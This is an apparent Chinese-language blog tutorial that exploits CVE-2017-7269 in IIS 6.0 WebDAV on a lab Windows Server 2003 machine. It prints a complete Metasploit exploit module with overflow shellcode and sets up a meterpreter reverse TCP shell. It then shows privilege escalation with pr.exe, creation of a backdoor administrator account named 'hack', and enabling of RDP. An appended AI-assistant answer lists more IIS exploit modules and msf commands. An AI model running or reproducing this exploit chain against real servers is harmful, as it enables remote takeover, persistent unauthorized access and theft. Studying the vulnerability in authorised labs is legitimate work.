CVE2017-7269 IIS6.0利用MSF远程溢出漏洞提权

本文介绍CVE-2017-7269漏洞的复现过程,该漏洞存在于IIS 6.0的WebDAV服务中,允许远程攻击者通过发送特制请求执行任意代码。文章详细描述了如何使用Metasploit模块进行攻击,并通过提权获得更高权限。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

漏洞编号:CVE2017-7269

服务器版本:Windows server 2003

中间件:IIS6.0

攻击工具:metasploit

POC:CVE2017-7269.rb

靶机IP:192.168.1.175

攻击机IP:192.168.1.195

本地漏洞复现过程,安装windows server 2003 r2 开启IIS服务

利用poc:

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'CVE-2017-7269 Microsoft IIS WebDav ScStoragePathFromUrl Overflow',
      'Description'    => %q{
          Buffer overflow in the ScStoragePathFromUrl function in the WebDAV service in Internet Information Services (IIS) 6.0 in Microsoft Windows Server 2003 R2 allows remote attackers to execute arbitrary code via a long header beginning with "If: <http://" in a PROPFIND request, as exploited in the wild in July or August 2016.
          Original exploit by Zhiniang Peng and Chen Wu.
      },
      'Author'         => [
                            'Dominic Chell <dominic@mdsec.co.uk>',#original module
                            'zcgonvh <zcgonvh@qq.com>'#add option : PhysicalPathLength,HttpHost
                          ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', 'CVE-2017-7269'],
          [ 'BID', '97127'],
          [ 'URL', 'https://github.com/edwardz246003/IIS_exploit'],
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'       => 2000,
          'BadChars'    => "\x00",
          'EncoderType'   => Msf::Encoder::Type::AlphanumUnicodeMixed,
          'DisableNops'  =>  'True',
          'EncoderOptions' =>
            {
              'BufferRegister' => 'ESI',
            }
        },
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'PrependMigrate' => true,
          'PrependMigrateProc' => "calc"
        },
      'Targets'        =>
        [
          [
            'Microsoft Windows Server 2003 R2',
            {
              'Platform' => 'win',
            },
          ],
        ],
      'Platform'       => 'win',
      'DisclosureDate' => 'March 31 2017',
      'DefaultTarget' => 0))

    register_options(
      [
        Opt::RPORT(80),
        OptInt.new('PhysicalPathLength', [ true, "length of physical path for target(include backslash)", 19]),
        OptString.new('HttpHost', [ true, 'http host for target', 'localhost' ])
      ], self.class)
  end

  def exploit
    connect

    http_host=datastore['HttpHost'] + ":" + datastore['RPORT'].to_s

    buf1 = "If: <http://#{http_host}/"
    buf1 << "a"*(114-datastore['PhysicalPathLength'])
    buf1 << "\xe6\xa9\xb7\xe4\x85\x84\xe3\x8c\xb4\xe6\x91\xb6\xe4\xb5\x86\xe5\x99\x94\xe4\x9d\xac\xe6\x95\x83\xe7\x98\xb2\xe7\x89\xb8\xe5\x9d\xa9\xe4\x8c\xb8\xe6\x89\xb2\xe5\xa8\xb0\xe5\xa4\xb8\xe5\x91\x88\xc8\x82\xc8\x82\xe1\x8b\x80\xe6\xa0\x83\xe6\xb1\x84\xe5\x89\x96\xe4\xac\xb7\xe6\xb1\xad\xe4\xbd\x98\xe5\xa1\x9a\xe7\xa5\x90\xe4\xa5\xaa\xe5\xa1\x8f\xe4\xa9\x92\xe4\x85\x90\xe6\x99\x8d\xe1\x8f\x80\xe6\xa0\x83\xe4\xa0\xb4\xe6\x94\xb1\xe6\xbd\x83\xe6\xb9\xa6\xe7\x91\x81\xe4\x8d\xac\xe1\x8f\x80\xe6\xa0\x83\xe5\x8d\x83\xe6\xa9\x81\xe7\x81\x92\xe3\x8c\xb0\xe5\xa1\xa6\xe4\x89\x8c\xe7\x81\x8b\xe6\x8d\x86\xe5\x85\xb3\xe7\xa5\x81\xe7\xa9\x90\xe4\xa9\xac"
    buf1 << ">"
    buf1 << " (Not <locktoken:write1>) <http://#{http_host}/"
    buf1 << "b"*(114-datastore['PhysicalPathLength'])
    buf1 << "\xe5\xa9\x96\xe6\x89\x81\xe6\xb9\xb2\xe6\x98\xb1\xe5\xa5\x99\xe5\x90\xb3\xe3\x85\x82\xe5\xa1\xa5\xe5\xa5\x81\xe7\x85\x90\xe3\x80\xb6\xe5\x9d\xb7\xe4\x91\x97\xe5\x8d\xa1\xe1\x8f\x80\xe6\xa0\x83\xe6\xb9\x8f\xe6\xa0\x80\xe6\xb9\x8f\xe6\xa0\x80\xe4\x89\x87\xe7\x99\xaa\xe1\x8f\x80\xe6\xa0\x83\xe4\x89\x97\xe4\xbd\xb4\xe5\xa5\x87\xe5\x88\xb4\xe4\xad\xa6\xe4\xad\x82\xe7\x91\xa4\xe7\xa1\xaf\xe6\x82\x82\xe6\xa0\x81\xe5\x84\xb5\xe7\x89\xba\xe7\x91\xba\xe4\xb5\x87\xe4\x91\x99\xe5\x9d\x97\xeb\x84\x93\xe6\xa0\x80\xe3\x85\xb6\xe6\xb9\xaf\xe2\x93\xa3\xe6\xa0\x81\xe1\x91\xa0\xe6\xa0\x83\xcc\x80\xe7\xbf\xbe\xef\xbf\xbf\xef\xbf\xbf\xe1\x8f\x80\xe6\xa0\x83\xd1\xae\xe6\xa0\x83\xe7\x85\xae\xe7\x91\xb0\xe1\x90\xb4\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81\xe9\x8e\x91\xe6\xa0\x80\xe3\xa4\xb1\xe6\x99\xae\xe4\xa5\x95\xe3\x81\x92\xe5\x91\xab\xe7\x99\xab\xe7\x89\x8a\xe7\xa5\xa1\xe1\x90\x9c\xe6\xa0\x83\xe6\xb8\x85\xe6\xa0\x80\xe7\x9c\xb2\xe7\xa5\xa8\xe4\xb5\xa9\xe3\x99\xac\xe4\x91\xa8\xe4\xb5\xb0\xe8\x89\x86\xe6\xa0\x80\xe4\xa1\xb7\xe3\x89\x93\xe1\xb6\xaa\xe6\xa0\x82\xe6\xbd\xaa\xe4\x8c\xb5\xe1\x8f\xb8\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81"

    buf1 << payload.encoded

    sock.put("PROPFIND / HTTP/1.1\r\nHost: #{http_host}\r\nContent-Length: 0\r\n#{buf1}>\r\n\r\n")

    handler
    disconnect
  end

end

下载CVE2017-7269.ZIP文件解压放到kali下的

/usr/share/metasploit-framework/modules/exploits/windows/iis目录下

在kali下面启动MSF软件输入命令
这里写图片描述

在之前我们已经将EXP放到MSF攻击模块下 如图

这里写图片描述

接下来是要调用该EXP

输入命令进入CVE2017-7269

这里写图片描述

该exp涉及到3个参数

这里写图片描述

指定靶机IP 【RHOST】

指定本机IP 【LHOST】

靶机网站地址【HTTPHOST】

设置返回载荷 set payload windows/meterpreter/reverse_tcp

这里写图片描述

启动溢出攻击,获取到shell

这里写图片描述

输入命令 查看ip

这里写图片描述

查看自己权限

这里写图片描述

所以权限是user权限 是很低的 现在我们要进行提权操作 利用MSF的upload命令上传pr.exe提权工具

在上传工具的时候必须需要该目录有可执行可上传的权限

这里靶机的C盘根目录拥有执行权限 实战中目录权限只有挨着尝试了。

在C盘目录下创建一个文件夹 进入到shell命令界面

这里写图片描述

dir命令查看是否创建成功

这里写图片描述

目录存在,接下来就是上传pr.exe到该目录了

将pr.exe放到kali机器下面

upload命令格式是

upload 【上传文件绝对路径 】【目标服务器绝对路径】

这里写图片描述

上传成功 进入shell界面进入pr文件夹下面,利用pr.exe进行提权操作

这里写图片描述

net user 查看是否创建成功

这里写图片描述

成功创建用户,将hack用户添加到管理员组

这里写图片描述

net user hack 查看该用户权限

这里写图片描述

提权成功,接下来是打开远程连接 查看是否打开了3389端口

这里写图片描述

该服务器没有打开3389 但是我们可以利用3389.exe打开3389端口

同样上传一个3389.exe到pr文件下面

这里写图片描述

上传成功 同样利用pr执行该文件

这里写图片描述

netstat -an 查看

这里写图片描述

成功打开3389 现在远程登录目标服务器

这里写图片描述

这里写图片描述

登录要服务器
这里写图片描述

利用msf 提权成功。。~~~

<think>嗯,用户问的是IIS有哪些漏洞可以用Metasploit(msf)进行渗透。首先,我需要回忆一下IIS的历史漏洞,尤其是那些已经被集成到Metasploit框架中的。记得IIS在不同版本中存在过多个漏洞,比如解析漏洞、缓冲区溢出远程代码执行等等。 首先,我应该考虑常见的IIS漏洞,比如CVE编号的。比如IIS 6.0的解析漏洞,这个比较经典,可能和文件名后缀有关,比如分号或者文件夹名解析的问题。然后是缓冲区溢出,比如CVE-2017-7269,这个影响IIS 6.0,是WebDAV中的溢出漏洞。还有最近的漏洞吗?比如CVE-2020-0645,可能涉及IIS远程代码执行。另外,IIS的CGI处理也可能存在问题,或者某些扩展模块的漏洞。 接下来要确认这些漏洞是否有对应的Metasploit模块。比如,CVE-2017-7269对应的msf模块是exploit/windows/iis/iis_webdav_scstoragepathfromurl,这个模块是否还在有效?需要检查。还有IIS 6.0的解析漏洞,可能对应的模块是exploit/windows/iis/iis_webdav_upload_asp,用于上传ASP文件。 另外,可能还有身份验证绕过漏洞,比如CVE-2015-1635(MS15-034),这个漏洞可能导致远程代码执行或拒绝服务,但可能已经被修补。Metasploit是否有对应的模块?记得有一个auxiliary/scanner/http/ms15_034_http_sys_memory_dump模块,用于检测是否存在该漏洞。 用户可能需要具体的漏洞名称、CVE编号、对应的msf模块以及利用步骤。所以需要整理这些信息,分点说明,每个漏洞利用步骤,包括设置参数、执行攻击等。同时,要醒用户注意漏洞的影响版本,以及渗透测试的合法性问题,强调授的重要性。 另外,需要注意语法正确,比如中文描述,使用正确的Metasploit模块路径,避免拼写错误。同时,可能存在的其他漏洞,比如IIS 7.0/7.5的解析漏洞,比如通过PUT方法上传文件,然后通过MOVE或COPY方法重命名为可执行后缀,但这类漏洞是否有对应的msf模块?比如iis_webdav_upload_asp可能适用于IIS 6.0,而其他版本可能不同。 还需要考虑漏洞的修补情况,比如大多数旧漏洞可能已经被修复,但在未打补丁的系统上仍然存在风险。因此,在回答中要说明影响的IIS版本,帮助用户确认目标环境是否可能存在这些漏洞。 总结来说,需要列出几个主要的IIS漏洞,对应的CVE,Metasploit中的模块路径,简要的利用步骤,以及注意事项。确保结构清晰,步骤明确,同时醒合法性和授问题。</think>好的,我将分步骤介绍IIS(Internet Information Services)中可通过Metasploit(msf)渗透的经典漏洞利用方法。请注意,以下内容仅用于安全研究,需在合法授范围内操作。 --- ### **1. IIS 6.0 WebDAV缓冲区溢出漏洞 (CVE-2017-7269)** **影响版本**: IIS 6.0 (Windows Server 2003) **漏洞原理**: 由于WebDAV服务对`ScStoragePathFromUrl`函数处理不当,攻击者可发送超长请求触发缓冲区溢出,实现远程代码执行。 **Metasploit模块**: ``` exploit/windows/iis/iis_webdav_scstoragepathfromurl ``` **利用步骤**: 1. 选择模块: ```bash use exploit/windows/iis/iis_webdav_scstoragepathfromurl ``` 2. 设置目标IP和端口: ```bash set RHOST <目标IP> set RPORT 80 ``` 3. 选择Payload(如反向TCP): ```bash set PAYLOAD windows/meterpreter/reverse_tcp set LHOST <攻击机IP> ``` 4. 执行攻击: ```bash exploit ``` --- ### **2. IIS 6.0 分号解析漏洞** **影响版本**: IIS 6.0 **漏洞原理**: 当文件名包含分号(如`test.asp;.jpg`)时,IIS错误地将文件解析为ASP脚本,导致任意代码执行。 **Metasploit模块**: ``` exploit/windows/iis/iis_webdav_upload_asp ``` **利用步骤**: 1. 启用模块: ```bash use exploit/windows/iis/iis_webdav_upload_asp ``` 2. 配置目标信息: ```bash set RHOST <目标IP> set HttpUsername <用户名> # 若需要认证 set HttpPassword <密码> ``` 3. 上传恶意ASP文件并触发: ```bash exploit ``` --- ### **3. MS15-034 HTTP.sys远程代码执行漏洞 (CVE-2015-1635)** **影响版本**: IIS 7.0/7.5/8.0/8.5 (Windows Server 2008-2012) **漏洞原理**: HTTP.sys驱动处理`Range`请求头时存在缺陷,可导致内存泄露或拒绝服务(DoS)。 **Metasploit检测模块**: ``` auxiliary/scanner/http/ms15_034_http_sys_memory_dump ``` **验证步骤**: 1. 加载模块: ```bash use auxiliary/scanner/http/ms15_034_http_sys_memory_dump ``` 2. 设置目标: ```bash set RHOSTS <目标IP> set RPORT 80 ``` 3. 执行检测: ```bash run ``` --- ### **4. IIS 7.5/Nginx 解析漏洞(非CVE,实战常见)** **影响版本**: IIS 7.5 + PHP **漏洞原理**: 当请求路径包含`/.php`等后缀时,IIS错误地将非PHP文件解析为PHP脚本。 **利用方法**: - 手动上传图片马(如`test.jpg`),通过访问`http://目标/test.jpg/.php`触发解析。 --- ### **注意事项** 1. **授合规性**: 渗透测试需获得明确书面授。 2. **补丁情况**: 上述漏洞大多已发布官方补丁,需确认目标环境是否未更新。 3. **防御建议**: - 关闭不必要的WebDAV功能。 - 定期更新Windows Server和IIS补丁。 - 使用WAF拦截恶意请求(如超长Header、异常路径)。 --- 如需进一步分析特定漏洞,可供更多环境信息。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值